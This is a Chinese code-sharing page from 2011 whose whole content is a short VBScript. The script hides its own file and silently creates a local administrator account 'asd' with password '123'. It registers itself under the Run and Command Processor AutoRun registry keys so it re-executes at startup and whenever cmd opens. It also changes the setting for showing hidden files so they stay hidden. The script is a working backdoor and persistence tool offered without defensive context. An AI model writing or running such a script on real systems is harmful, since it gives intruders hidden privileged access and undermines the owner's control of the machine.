您的位置:首页 > 编程语言 > VB

VBS建立不死账户随cmd启动(代码)

2011-08-31 20:03 344 查看
dim wsh,FA,FSO

set fso=CreateObject("Scripting.FileSystemObject")

Set FA= FSO.GetFile(WScript.scriptFullName)

FA.Attributes =34

set wsh=CreateObject("WScript.Shell")

wsh.run "net user asd 123 /add",0,true

wsh.run "net localgroup administrators asd /add" ,0,true

wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""

wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"

wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""

wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: